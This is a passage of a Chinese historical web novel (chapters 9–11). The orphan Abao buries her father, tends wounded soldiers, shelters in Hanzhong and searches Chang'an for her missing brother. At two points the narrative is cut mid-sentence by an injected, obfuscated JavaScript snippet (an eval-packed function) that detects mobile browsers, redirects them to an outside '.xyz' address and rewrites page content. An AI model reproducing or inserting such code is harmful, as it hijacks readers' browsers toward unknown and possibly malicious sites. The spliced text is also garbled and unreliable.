“阿父,阿宝找到你了...阿宝终于找到你了...”我喃喃自语,眼泪滴落在阿父冰冷的脸上。 那三块糖糕还揣在我怀里,原本打算与阿父分享的。如今,永远没有机会了。 “秋风起,那个草黄了,门口霜雪要来到...”我不自觉地哼起那首童谣,声音哽咽,“月亮照不到啊我的小阿宝...” 乱世寻亲,终得相见。却是生死两隔,永不相逢。 十一岁的阿宝,再次成了孤儿。 而寻找阿母和阿兄的路,依然漫长。 9. 渭南孤女 阿父下葬那日,渭南下起了细雪。 没有棺椁,没有仪式,只有一床破草席裹身。我用自己的棉衣换来了半壶浊酒,洒在阿父坟前。医官看我可怜,借了把旧铲子,同营的几个伤兵帮忙挖了个浅坑。 “老冯走好...”一个独臂老兵喃喃道,“到了那边,就不用受这乱世的苦了。” 我跪在坟前,机械地往土坑里填土。雪花落在脸上,与泪水混在一起,冰冷刺骨。那三块糖糕还揣在我怀里,原本是留给阿父的,如今再也没有机会了。 “阿父,阿宝不孝...”我哽咽着,“连像样的祭品都没有...” 独臂老兵拍拍我的肩:“丫头,有这份心就够了。这年头,能入土为安就是福分。” 葬了阿父,我茫然站在雪中,不知该去向何处。回陇西?那里早已物是人非。去陈仓?战事未歇,一个女娃如何生存? “丫头,接下来有什么打算?”独臂老兵问。 我摇摇头,目光空洞。 老兵叹口气:“若不嫌弃,可留在伤兵营帮忙。如今缺人手,管吃住,虽没什么工钱,但总比流落在外强。” 于是我在渭南伤兵营留了下来,成了一个小小的杂役。每日帮忙清洗绷带、喂药喂饭、照料伤员。活计辛苦,但至少有个遮风挡雨的地方。 伤兵营里满是痛苦和死亡。断肢残臂的,伤口溃烂的,高烧呓语的...起初我夜夜做噩梦,后来渐渐麻木。乱世之中,能活着已是万幸。 一日,医官让我去帮忙清洗一具刚刚死去的士兵遗体。那是个年轻士兵,不会超过二十岁,胸口有个巨大的伤口,已经发黑溃烂。 我打来清水,小心地为他擦拭。忽然,我的目光定格在他的左臂内侧——那里有个梅花状的胎记,与我幼时玩伴阿禾的一模一样。 阿禾是邻村铁匠的女儿,比我大两岁,左臂内侧就有个这样的胎记。我们常一起采荇藻、放纸鸢,她总像姐姐一样护着我。 “狗儿跳,那个猫儿闹,吾家小宝吃糖糕...”她常学我阿母哼歌,逗我开心。 城破那日,我们被人群冲散,再没见过。 我颤抖着手,轻轻拨开死者脸上的乱发。虽然面容因痛苦而扭曲,但我还是认出来了——真是阿禾! 可她明明是女儿身,为何穿着男装从军? 仔细查看,我才发现她用布条紧紧束胸,手上满是老茧,皮肤粗糙如男子。显然,她女扮男装从军已有些时日。 “阿禾...”我哽咽着,眼泪滴落在她冰冷的脸上。 为何会这样?那个爱笑爱闹的阿禾,那个说要嫁个好人家的阿禾,怎么会死在战场上? 医官走过来:“认识?” 我点头,泣不成声:“是...是我同乡...” 医官叹口气:“这样的不少。家里男丁战死了,女儿就顶替从军。有的是为军饷,有的是为报仇...”他摇摇头,“收拾好吧,等下统一埋了。” 我为阿禾仔细整理遗容,发现她怀中揣着半块硬饼和一张小心折叠的帛书。展开一看,上面用工整的小字写着: “母病故,弟战死。阿禾从军报仇。若不幸战死,求好心人将我与弟合葬。弟名阿禾,葬于美阳东三里坡。” 原来如此。阿禾的弟弟也叫阿禾,战死美阳。她女扮男装从军,是为弟弟报仇。 我小心收好帛书,决定完成她的遗愿。 在独臂老兵的帮助下,我求得医官允许,用自己攒下的少许铜钱租了辆板车,将阿禾的遗体运往美阳。 美阳战场尚未完全清理,到处是断箭残戟和来不及掩埋的尸体。朔风呼啸,卷起血腥和腐臭,令人作呕。 根据帛书描述,我找到东三里坡。那里果然有片新坟,简陋的木牌上刻着阵亡者的名字。 我一个个找过去,终于看到“冯阿禾”三个字——阿禾的弟弟,与姐姐同名。 “姐弟团圆了...”我喃喃道,开始挖坟。 手掌很快磨出水泡,但我浑然不觉。心中只有一个念头:让阿禾和弟弟团聚,不要让他们孤零零躺在这荒郊野外。 终于挖开坟穴,我将阿禾轻轻放入,与她弟弟并排躺在一起。 “阿禾,安心睡吧。”我轻声道,“来世生在太平年,做对快活姐弟。” 填土时,我不自觉哼起那首童谣:“春风摇,那个柳叶俏,燕子点水绕...秋风起,那个草黄了,门口霜雪要来到...” 雪花再次飘落,覆盖了新坟,也覆盖了这片染血的土地。 回到伤兵营,我病了一场,高烧三日,迷迷糊糊中总是看见阿禾和阿父的身影。 “阿宝,活下去...”他们都说,“替我们看看太平年月...” 病愈后,我变得更加沉默,只是拼命干活,仿佛这样就能忘却痛苦。 伤兵营中来来去去,每天都有人死去,每天都有人被送来。我渐渐学会了简单的疗伤知识,能帮医官处理一些轻伤。 一个叫小草的医官学徒与我年纪相仿,父亲是郎中,战乱中失散。她教我辨识草药,包扎伤口。 “阿宝姐手真巧。”小草常说,“若是太平年月,定能成为好医女。” 我只是苦笑。太平年月?那似乎太过遥远。 冬日漫长,伤兵营中越发艰难。药物短缺,粮食不足,许多伤员不是死于伤势,而是死于饥寒。 我常常省下自己的口粮分给重伤员,虽然知道这只是杯水车薪。 “丫头,别管我们了...”一个老伤兵推开我递来的粥碗,“留着你自己吃吧。你还小,日子还长...” 但我坚持要他吃下。在这死亡笼罩的营中,这点温暖或许就是唯一的慰藉。 一日,营中来了个特殊伤员——是个羌人战士,左腿重伤,高烧不止。 许多汉人士兵怒目而视,有人甚至要求将他扔出去:“羌狗害得我们还不够吗?” 医官却坚持救治:“在医者眼中,只有伤员,没有羌汉之分。” 我负责照料那个羌人。他年纪不大,不会说汉语,但眼神清澈,没有传闻中的凶悍。 喂药时,他忽然用羌语说了句什么,指了指我腰间的桃木梳——阿父送的礼物。 我犹豫了一下,将木梳递给他。他仔细端详,露出赞叹神色,比划着问我是否重要。 我点头,比划着“父亲”的意思。 他明白了,郑重地归还木梳,单手抚胸行礼,似乎在表达歉意和感谢。 那一刻,我忽然想起阿母常说的话:“羌人也是人,有好有坏,就像我们汉人一样。” 后来通过手势交流,我得知他叫扎西,家人都在战乱中丧生,他是被迫从军的。 “都一样...”独臂老兵叹道,“都是这乱世的苦命人。” 扎西的伤势渐渐好转,能简单走动了。他常帮我干些重活,作为报答。有时会哼唱羌族歌谣,曲调苍凉悠远,与阿母唱的汉家歌谣莫名相似。 “都在想家啊。”小草轻声说,“无论羌汉。” 然而和平是短暂的。一日,一队官兵来到伤兵营,要带走所有羌人俘虏。 扎西被强行拖走时,回头看了我一眼,眼神复杂。那之后,再没有他的消息。 “怕是凶多吉少了。”独臂老兵摇头,“这年头,俘虏没几个能活命的。” 我心中怅然,却又无可奈何。乱世之中,个人的命运如浮萍般不由自己。 寒冬越发严酷,伤兵营中死亡人数激增。医官们疲于奔命,却无力回天。 我也病倒了,咳嗽不止,夜间常咳醒。小草偷偷给我留些草药,但效果甚微。 “怕是染上肺痨了。”医官面色凝重,“这里不能再留你了,会传染给其他人。” 如遭雷击。离开伤兵营,我能去哪里? 独臂老兵替我求情:“丫头无亲无故,出去就是死路一条啊!” 但医官态度坚决:“不能因一人害了全院。” 最终,医官给了我一些草药和干粮,让我自行离去。 站在伤兵营外,我茫然四顾。天地茫茫,竟无我容身之处。 雪越下越大,寒风刺骨。我裹紧单薄的衣裳,漫无目的地前行。 不知走了多久,天色渐暗。前方出现个破庙,我急忙躲进去避雪。 庙中已有几个流民,围着一小堆篝火取暖。见我进来,他们警惕地打量一番,见只是个病弱女娃,便不再理会。 我蜷缩在角落,啃着冰冷的干粮,咳得撕心裂肺。 “给。”一个老妪递来半碗热水,“暖暖身子。” 我感激地接过,小口喝着。热水下肚,暂时压住了咳嗽。 “丫头,怎么一个人?”老妪问。 我简单说了情况。老妪叹口气:“这世道...不如跟我们走吧。我们要去汉中,听说那里太平些。” 我心中一动。阿父临终前也让我去汉中找郑家。 “可是...我病着,会拖累你们...” 老妪摇头:“多个人多份照应。看你年纪,与我孙女差不多...她要是活着,也该你这般大了...” 于是次日,我随这群流民一同南行。队伍中有老有少,个个面黄肌瘦,但眼神中还有一丝希望的光芒——对太平的渴望。 路上,老妪告诉我,她姓赵,原是陈仓人,家人在战乱中失散。 “我儿子要是活着,该有三十了。”赵媪望着远方,“媳妇怀着身子时就... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530067|186363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就没了。若是生下来,该叫你这般大。” 我握住她的手:“到了汉中,一切都会好起来的。” 赵媪苦笑:“但愿吧。” 南行路艰难,我的咳嗽越发严重,常落在队伍后面。赵媪总是陪着我,鼓励我。 “坚持住,就快到了。”她常说,“到了汉中,找个郎中看看,吃几副药就好了。” 但我心中明白,我这病怕是难好了。只是不忍辜负赵媪的好意,勉强支撑。 一夜,我们宿在山洞中。我咳得厉害,几乎喘不过气。赵媪一直轻拍我的背,哼着歌谣安抚。 “冬雪飘,那个柴门掩,灶火暖着旧襦袄...”她哼的调子与阿母如此相似。 我恍惚间仿佛回到家中,阿母正为我掖被角,阿父在灯下读书,阿兄在院中练剑... “阿母...”我喃喃道,“阿宝好想你们...” 赵媪轻轻抱住我:“睡吧,孩子。梦里就能见到亲人了。” 那夜,我梦见了阿禾。她穿着女儿装,在河边采荇藻,回头对我笑:“阿宝,快来!这里有好多鱼!” 我向她跑去,却怎么也追不上。她的身影渐渐模糊,化作漫天飞雪。 醒来时,赵媪正在煮粥。见我醒了,她露出欣慰的笑容:“今天气色好些了。喝点热粥,咱们继续赶路。” 我勉强坐起,接过粥碗。米粥很稀,但毕竟是热的。 “谢谢媪。”我轻声道。 赵媪摸摸我的头:“傻孩子,跟媪客气什么。” 继续南行数日,我的病情突然加重,开始咳血。赵媪焦急万分,却无计可施。 “坚持住,就快到汉中了。”她不断鼓励我。 但我感觉自己可能撑不到汉中了。每次咳嗽都撕心裂肺,胸口痛如刀绞。 一日傍晚,我们终于看到汉中的城墙。众人欢呼雀跃,仿佛看到了希望。 我却突然咳血不止,眼前一黑,栽倒在地。 “丫头!”赵媪惊呼,“坚持住!我们到了!我们到了!” 但我已经听不清了。意识模糊中,仿佛看到阿父阿母在云端向我招手。 “阿宝,来...”他们微笑着,“来和我们团聚...” 我努力向前伸手,却什么也抓不到。 黑暗吞噬了一切。 不知过了多久,我缓缓睁开眼。首先映入眼帘的是粗布的帐顶,身下是柔软的床铺。 “醒了?”一个温和的声音响起。 我转头,见是个中年妇人,衣着整洁,面容慈祥。 “这里是...”我虚弱地问。 “这里是汉中郑家庄。”妇人微笑道,“你昏倒在城外,是庄主救了你。” 郑家庄?难道是阿父说的郑家? 这时门帘掀开,一个熟悉的身影走进来——竟是赵媪! “丫头醒了!”赵媪惊喜道,“谢天谢地!你可昏睡三天了!” 原来那日我昏倒后,正好郑家庄的人出城采买,将我们一同救回。赵媪认出郑家庄正是阿父临终前提到的那个郑家,便向庄主说明情况。 庄主郑公是个慈祥长者,听说我是冯安之女,唏嘘不已:“冯兄竟已...唉,乱世无常啊!” 他请来郎中为我诊治,细心调理。我的病情渐渐好转,咳嗽减轻,也能下床走动了。 赵媪被郑家留下做帮工,我们总算有了安身之所。 郑家庄相对太平,庄民自给自足,偶尔有关中流民前来投靠,郑公都尽量接纳。 我常帮庄中妇人织布缝衣,教孩子们识字唱歌。有时站在庄口远望,想起这一路的艰辛,恍如隔世。 但心中的空洞始终无法填补。阿父走了,阿母和阿兄依旧下落不明。 秋深时,我请郑公帮忙,在庄外立了个衣冠冢,葬下阿父给我的桃木梳和阿禾的那半块硬饼。 “阿父,阿禾,安心吧。”我轻声道,“阿宝会好好活下去。” 寒风吹过,卷起枯叶纷飞。 “秋风起,那个草黄了,门口霜雪要来到...”我不自觉地哼起童谣。 赵媪走过来,将一件棉袍披在我肩上:“天冷了,回屋吧。” 我点点头,最后望了一眼衣冠冢,转身离去。 回到庄中,孩子们围上来:“阿宝姐姐,再教我们唱那首歌谣吧!” 我看着他们天真无邪的面容,心中稍稍温暖。 “好。”我微笑,“狗儿跳,那个猫儿闹,吾家小宝吃糖糕...” 歌声在庄园中回荡,穿越秋风,飘向远方。 乱世依旧,但生活还要继续。十一岁的阿宝,在汉中找到暂时的避风港。 而寻找亲人的路,依然漫长。 10. 陈仓遗梦 汉中郑家庄的日子,如同乱世中的一方净土。 郑公待我如亲女,安排我与他孙女郑姝同住,还请庄中夫子教我读书识字。赵媪在厨房帮工,总是偷偷给我留些好吃的。 “多吃些,瞧你瘦的。”赵媪常摸着我的头叹气,“正是长身子的时候呢。” 我努力适应这里的生活,白天学习女红,傍晚教庄中孩童认字唱歌。郑姝与我年纪相仿,很快成了好友。她最爱听我讲外面的故事,虽然大多是战乱流离的惨状。 “阿宝姐见过真的战场吗?”她睁大眼睛问。 我点点头,不愿多说。那些血腥场面,我不希望纯真的郑姝知道。 然而安宁总是短暂。建安元年春,庄中来了几个关中逃来的流民,带来惊人消息:董卓被诛,其部将李傕、郭汜反攻长安,王允被杀,吕布东逃。 “关中又大乱了!”流民哭诉,“官兵与西凉军混战,百姓苦不堪言!” 庄中人心惶惶。郑公连日与庄中长老议事,加强庄墙守卫,囤积粮草。 我心中更是焦虑。兄长冯栋据说在西凉军中,如今战事又起,他是否安好? 一夜,我梦见阿兄。他浑身是血,在战场上拼杀,身后旗帜上有个“董”字。 “阿兄!”我在梦中呼喊,他却听不见。 惊醒后,再难入睡。望着窗外明月,我下定决心:要去关中寻找阿兄。 次日,我向郑公表明心意。郑公愕然:“关中正乱,你一个女娃如何去得?” 赵媪也劝:“丫头,好不容易安定下来,何必再去涉险?” 但我心意已决:“阿父临终嘱我寻找阿母阿兄。如今有阿兄线索,我不能不去。” 郑公长叹:“真是冯安的女儿,一样的倔脾气。”他沉吟片刻,“这样吧,庄中近日要派人去关中打探消息,你可随行。但答应我,若有危险,立即返回。” 我感激涕零,郑重应允。 三日后,我随郑家庄的商队出发。带队的是郑公长子郑泰,是个精明能干的中年人。队伍共有十余人,伪装成贩运汉中特产的商旅。 再出汉中,心境已不同往日。有了明确目标,路途虽艰,却有了方向。 越往北走,战乱痕迹越明显。废弃的村落,荒芜的田地,还有不时遇到的流民队伍。 “都是往汉中去的。”郑泰叹道,“听说关中已经人相食了。” 我心中凛然,更加担心阿兄安危。 数日后,我们抵达陈仓地界。这里刚刚经历大战,城墙上弹痕累累,城外到处是未及清理的尸体。 “在此歇脚,打探消息。”郑泰决定。 我们在一处半毁的驿站落脚。郑泰带人进城交易,我留在驿站帮忙照料马匹。 午后,远处传来马蹄声。一队西凉骑兵疾驰而来,在驿站外勒马。 “掌柜的!好酒好肉上来!”为首军官喊道,声音粗犷。 驿站掌柜连忙迎上:“军爷恕罪,小店只剩些粗粮薄酒...” 军官骂咧咧下马,带着几个亲兵走进来。我急忙低头躲到后院。 透过门缝,我观察这些西凉军士。他们盔甲染血,面带倦容,但眼神凶悍,显然是刚从战场下来。 “...吕布那厮跑得真快!可惜没斩下他的头!” “...听说王允老儿自尽了?” “...便宜他了!要不是他,太师也不会...” 他们议论着长安政变,言语间对王允充满仇恨。 我心中一动:这些是董卓旧部,或许知道阿兄的消息? 但如何打听?一个女娃贸然询问军务,只怕会引起怀疑。 正当我犹豫时,后院传来呻吟声。循声望去,见个年轻士兵靠在墙角,左臂简单包扎着,鲜血仍在渗出。 我想起在伤兵营学的救护知识,取来清水和干净布条,上前轻声道:“军爷,我帮你重新包扎吧。” 士兵警惕地看我一眼,见只是个瘦弱女娃,稍稍放松:“你会?” 我点头,小心拆开染血的布条。伤口很深,似是刀伤,已经有些发炎。 我用清水清洗伤口,撒上随身带的金疮药,重新包扎。士兵疼得龇牙咧嘴,但强忍着没叫出声。 “多谢。”他喘了口气,“你是这驿站的?” 我摇头:“随商队路过。军爷是西凉军的?” 士兵点头:“左军第三营的。” 左军第三营!阿父生前所在的营队! 我强压激动,故作平静:“真巧,我有个同乡也在左军第三营,叫冯栋,军爷可认得?” 士兵想了想,摇头:“营中人多,不认得。不过若是左军的,可能随李将军去追吕布了。” 希望落空,但我仍不死心:“那军爷可知左军中有个叫冯栋的?约莫十八九岁,陇西口音?” 士兵正要回答,前院突然传来喧哗声。一个传令兵疾驰而来:“将军有令!全军集合!东面发现敌军!” 伤兵挣扎着站起,对我点点头,匆匆离去。 我怔在原地,心中怅然。好不容易有点线索,又断了。 傍晚郑泰回来,面色凝重:“城中戒严了,说是吕布残部反扑。我们得尽快离开。” 于是我们连夜南撤。然而没走多远,就被一伙散兵拦住。 “留下货物马匹,饶你们不死!”为首者喊道,似是逃兵。 郑泰上前周旋:“好汉恕罪,小本生意,这些薄礼请笑纳。”他递上一袋钱币。 逃兵掂了掂钱袋,狞笑:“这点钱打发叫花子?全部留下!”说着就要抢货物。 双方推搡起来。混乱中,一支冷箭射来,正中郑泰肩膀。 “大伯!”我惊叫上前。 郑泰忍痛拔箭,喝道:“保护货物!撤!” 庄丁们护着货物且战且退。逃兵紧追不舍,眼看就要被包围。 危急时刻,远处传来号角声。一队官兵疾驰而来,旗帜上有个“马”字。 “是马腾将军的人!”逃兵惊呼,顿时作鸟兽散。 官兵追赶逃兵而去,我们得以脱险。但郑泰伤势不轻,必须立即救治。 “前面有个羌人村落,或许能求助。”一个熟悉汉羌情况的庄丁说。 我们赶到羌村时已是深夜。村中羌人起初戒备,见我们中有伤员,才允许入村。 羌族老村长查看郑泰伤势,摇头说需要草药,但村中短缺。 “我知道哪里采药。”我自告奋勇。在伤兵营跟小草学的知识派上了用场。 老村长派孙子尔甲陪我进山。尔甲约莫十六七岁,汉语说得结结巴巴,但身手矫健,熟悉山路。 月光下,我们在山间寻找草药。尔甲好奇地问:“汉人姑娘,不怕羌人?” 我想起伤兵营的扎西,摇头:“羌人汉人,都是人。” 尔甲笑了,露出白牙:“你说得对。我阿爷说,以前羌汉和睦,一起放牧种田。是官府欺人太甚,才闹翻的。” 我默然。这一路见过的苦难,确实不分羌汉。 采药归来,我为郑泰清洗伤口,敷药包扎。老村长见状颇为惊讶:“汉人姑娘会医术?” “略懂一些。”我谦虚道。 郑泰伤势稳定后,老村长邀我们多住几日。我趁机向他打听西凉军的情况。 “西凉军啊,羌人汉人都有。”老村长抽着烟袋,“董卓在时,还能压住。现在乱了,各自为战。” 我询问阿兄的消息,老村长摇头说不知,但答应帮忙打听。 在羌村停留数日,我帮羌妇采药织布,教孩童说汉语,与尔甲学习羌语。尔甲告诉我许多羌人习俗和传说,让我对这片土地有了新认识。 “其实羌人不想打仗。”尔甲说,“只想放羊牧马,平安过日子。” 我想起阿母的话,深有同感。 郑泰伤势好转后,我们准备告辞。临行前,老村长递给我一个护身符:“汉人姑娘,这个给你。保佑你找到兄长。” 我感激收下。尔甲送我们出山,路上悄悄告诉我:“阿爷打听到,左军第三营有个汉人队率,叫冯什么...好像是陇西口音。上月随李傕去长安了。” 希望再次燃起。长安!阿兄可能在长安! 回到郑家庄,我立即准备西去长安。郑公极力劝阻:“如今长安是龙潭虎穴,去不得!” 连赵媪都哭了:“丫头,别再冒险了!留在汉中不好吗?” 但我心意已决。阿父阿母阿兄都下落不明,我无法安心留下。 郑公见劝不住,长叹一声:“罢了。但你要答应,三个月内无论找没找到,都必须回来。” 我郑重应允。 这次我决定独行。扮作投亲的孤女,混在流民队伍中,反而安全。 临行前夜,郑姝偷偷塞给我一把短匕:“阿宝姐,这个你带着防身。” 我感动地收下。赵媪连夜赶制干粮,絮絮叨叨嘱咐不停。 次日清晨,我再次踏上征途。郑公赠我一匹老马,赵媪塞满行囊,庄中人纷纷送来饯别礼物。 “一定要回来啊!”郑姝哭着喊。 我点头,挥泪告别。 出庄不久,身后传来马蹄声。回头见是尔甲,背着行囊追来。 “阿爷让我陪你。”他咧嘴一笑,“我去过长安,认得路。” 我心中一暖,知是老村长的好意。 两人结伴同行,果然顺利许多。尔甲熟悉羌地小路,避开了许多险地。 一路所见,尽是战乱惨状。村庄焚毁,田地荒芜,饿殍遍野。有时不得不掩鼻而行,以免闻到尸臭。 “马蹄响,那个烽烟高,黄巾裹着麦秆倒...”我不自觉哼起童谣,心中凄然。 尔甲安静地听着,忽然说:“我们羌人也有类似的歌,唱战死的勇士,等他们的魂归故里。” 乱世之中,悲伤总是相通。 越近长安,流民越多。个个面黄肌瘦,眼神麻木,如行尸走肉。 一日,我们遇到个疯癫老妇,抱着个破布包裹,喃喃自语:“吃吧吃吧,吃饱就不疼了...” 尔甲好奇瞥了一眼,顿时面色大变——那包裹里竟是只人手臂! 我胃里翻搅,几乎呕吐。尔甲急忙拉我离开。 “人相食...真的发生了...”我颤声说。 尔甲沉默良久,才道:“去年羌地大旱,也发生过...我阿爷说,那是天神发怒的征兆。” 我开始担心长安的情况。若真到了人相食的地步,阿兄在军中能否吃饱? 数日后,我们终于望见长安城墙。然而城门紧闭,城外聚集着大量流民,哭喊哀求守军开门。 “城中断粮了,不让进。”一个流民告诉我们,“听说宫里都在啃树皮了。” 我心一沉。如此情形,如何进城寻人? 尔甲想了想:“我知道有个地方或许能进去。” 他带我绕到城西一处偏僻地段。那里城墙有处坍塌,形成个狭窄缺口,有人偷偷进出。 “小心些。”尔甲率先爬进去,伸手拉我。 我们悄声落入城中。城内景象更令人心惊——街道冷清,商铺关门,偶尔有行人也是匆匆而过,面如菜色。 突然,一队兵士走来,挨家挨户敲门:“征粮!开门征粮!” 无人应门。兵士便踹开门,强行搜刮,引来哭喊哀求。 “军爷行行好!就这点口粮了!” “拿走了我们吃什么啊!” 兵士毫不理会,抢了粮食就走。 我看得心惊肉跳。这就是长安?大汉帝都? 尔甲拉我躲进小巷:“我们先找地方落脚。” 我们在城南找到处废弃宅院暂住。尔甲外出打探消息,我留守整理。 傍晚尔甲回来,面色凝重:“打听到了,左军第三营确实在城中,驻守西营。但戒备森严,外人进不去。” “那怎么办?”我急切问。 尔甲想了想:“西营每日有粮车进出,或可混进去。” 次日我们到西营附近观察。果然有粮车进出,但守卫严格,每车都仔细检查。 正当我们发愁时,机会来了——个运粮老汉突然发病倒地。押运兵士骂咧咧地找人顶替。 我灵机一动,上前道:“军爷,我爹会赶车,能帮忙。”指指尔甲。 兵士打量尔甲:“羌人?可靠吗?” 尔甲忙用熟练的汉语回答:“小的在长安多年,可靠得很。” 兵士犹豫片刻,点头:“赶紧的!误了时辰砍头!” 于是尔甲代替老汉赶车,我扮作随行帮手,顺利混入西营。 营中气氛紧张,兵士个个面带饥色,却仍强打精神巡逻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530068|186363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 趁卸粮机会,我悄悄打听冯栋的消息。多数人摇头不知,直到问及个老火头军。 “冯队率?”老火头军想了想,“是不是陇西口音,左边眉梢有道疤的?” 我激动点头:“正是!他在哪?” 老火头军叹气:“上月调去守宫门了。听说...听说前日兵变时受了伤,不知死活。” 如遭雷击。宫门兵变?受伤? 我急忙问清宫门方向,拉着尔甲赶去。 宫门处守卫森严,根本无法靠近。我们只能在远处观望,期待看到阿兄身影。 守候两日,毫无所获。尔甲劝我:“先回去吧,再从长计议。” 我却不甘心,决定冒险接近打听。 扮作送饭村女,我接近宫门守卫。兵士们饿得厉害,见有食物,纷纷围上来。 “各位军爷辛苦。”我分发饼子,“请问可认得左军第三营的冯队率?” 一个年轻兵士道:“冯大哥啊!前日护驾时中了箭,抬去伤兵所了。” “哪个伤兵所?”我急切问。 兵士摇头:“不知道。那日乱得很,抬哪去的都有。” 希望再次破灭。长安这么大,伤兵所那么多,从何找起? 尔甲见我沮丧,安慰道:“既然还活着,总有办法。” 我们开始在城中各处伤兵所寻找。但长安经历多次兵变,伤兵遍地,寻找特定一人如同大海捞针。 数日过去,毫无进展。我们的干粮将尽,不得不省吃俭用。 一夜,我被噩梦惊醒。梦见阿兄浑身是血,在黑暗中呼唤我的名字。 “阿兄还活着!”我确信,“我一定要找到他!” 次日,我们再到宫门打听。这次换个老兵,听说找冯栋,神色古怪:“你是他什么人?” “我是他妹妹。”我急忙道,“军爷可知道他下落?” 老兵四下张望,压低声音:“冯队率那日护驾有功,被被上头带走了。” “哪个上头?带去哪了?”我急切问。 老兵摇头:“说不准。只听说是什么司徒府的人。” 司徒府?王允已死,现在是谁主事? 我们打听得知,如今朝政由李傕郭汜把持,司徒之职空缺。 线索又断了。我几乎绝望。 尔甲忽然道:“或许不是司徒府,是其他府邸?长安高官那么多。” 于是我们开始打听各大府邸近日是否收留伤兵。 这无疑是大海捞针。长安高门大户众多,戒备森严,很难打听消息。 我们的盘缠将尽,尔甲不得不做些零工换粮。我则帮人缝补洗衣,勉强糊口。 一日,我在太尉府外帮洗衣妇干活,无意中听到两个家仆闲聊: “...昨日送来的那个伤兵,脾气真倔,不肯用药...” “...听说原是左军的队率,护驾有功...” “...再有功也得治伤啊...” 我心中一动,上前询问:“两位大哥,说的伤兵是不是陇西口音,左边眉梢有疤?” 家仆警惕地看我:“你问这做甚?” 我忙解释:“可能是我兄长,我们失散多年了。” 家仆打量我一番,或许看我瘦弱可怜,低声道:“是有个陇西口音的伤兵。但劝你别打听,是府上贵人吩咐照料的,不让外人知。” 希望重燃!我急忙追问:“可否让我见一面?就一眼!” 家仆摇头:“府门森严,进不去的。”说完匆匆离去。 我不甘心,在太尉府外守候。尔甲劝我:“既是贵人照料,必是好事。不如先回汉中,从长计议。” 但我怎能放弃?好不容易有了线索。 守候数日,终于看到一辆马车从太尉府侧门驶出。车窗帘子掀开一角,露出张苍白但熟悉的脸—— 正是阿兄!虽然瘦削许多,左边眉梢多了道疤,但我认得! “阿兄!”我脱口喊道。 马车疾驰而去,根本没听见。我追了几步,被守卫拦住。 “阿兄!我是阿宝!”我拼命呼喊,马车却已远去。 尔甲拉住我:“别追了!既知道在太尉府,总有办法。” 是夜,我辗转难眠。阿兄还活着,而且在太尉府受照料,应是好事。但为何不让人知道?那日宫门兵变,他护的是谁的驾? 诸多疑问萦绕心头。但我确信,那就是阿兄没错。 次日,我们再到太尉府打听。这次换个方法,尔甲扮作羌使,求见府中管事。 然而管事一听问伤兵,立即变脸:“府中无此人!再胡闹乱棍打出!” 我们被赶了出来,更加可疑——若无此人,为何如此紧张? 尔甲分析:“或许你兄长涉及什么机密,不能外传。” 我想起那日宫门兵变,听说皇帝被劫持,或许阿兄护驾有功,成了关键证人? 如此说来,贸然相认反而可能害了他。 犹豫再三,我决定先回汉中,从长计议。至少知道阿兄还活着,而且在太尉府应无性命之忧。 离开长安那日,我最后望了一眼太尉府高墙。 “阿兄,保重。”我默默道,“阿宝会再来的。” 尔甲安慰我:“知道活着就好。等风头过去,再来相认。” 我们踏上归途。来时满怀希望,归时虽未相认,但至少有了目标。 路过羌村时,老村长听说经过,捻须道:“在太尉府是好事。乱世中,有贵人庇护才能活命。” 我心中稍安,但仍牵挂不已。 回到郑家庄,众人见我平安归来,欣喜万分。郑公听说阿兄消息,抚掌道:“既然如此,可修书一封,托人送去太尉府。总有机会相认。” 于是我留在郑家庄,耐心等待时机。平日教孩子们读书识字,帮赵媪料理杂务,偶尔与尔甲学习羌语。 每逢月圆之夜,我总会望着北方,心中默念:阿兄,你还好吗?可还记得阿宝? “月亮照不到啊我的小阿宝...”我不自觉哼起童谣。 郑姝问:“阿宝姐,又想家人了?” 我点头,眼中含泪却带笑:“嗯。但我知道,总有一天会团圆的。” 乱世漫长,但希望不灭。十四岁的阿宝,在等待中渐渐长大。 而寻找亲人的路,还在继续。 11. 长安路漫 建安二年的春天,我再次告别郑家庄,西去长安。 这次不再是孤身一人。尔甲坚持同行,郑公派了两位经验丰富的老仆跟随,还备了礼物和文书,假托商队之名。 “切记,安全第一。”郑公再三叮嘱,“若事不可为,速速归来。” 赵媪连夜赶制新衣,絮絮叨叨:“长安不比汉中,天子脚下,规矩大着呢。少说话,多低头...” 我一一应下,心中却想着阿兄。一年过去了,他在太尉府可好?伤可痊愈?是否还记得有个妹妹在寻他? 再上路时,心境已不同往日。有了明确目标,脚步也轻快许多。 越近长安,流民越多。个个面黄肌瘦,眼神空洞,如行尸走肉。 “关中又闹饥荒了。”老仆叹道,“听说人相食...” 我胃里翻搅,想起那年见到的惨状,更加担心阿兄。太尉府虽显赫,乱世之中能否吃饱仍是未知。 数日后,长安城墙在望。这次城门未闭,但守卫森严,盘查严格。 我们假称汉中郑氏商队,递上文书礼物。守卫掂了掂钱袋,挥手放行。 城内景象比去年更萧索。街道冷清,商铺多闭门,偶有行人也是步履匆匆,面如菜色。 “先找地方落脚。”老仆经验丰富,带我们到相熟的客栈安顿。 次日,我开始实施计划——借送绣品之名,接近太尉府。 在汉中时,我苦练绣工,如今已能绣出精美的陇西风情图。太尉府女眷颇好此物,常托人采买。 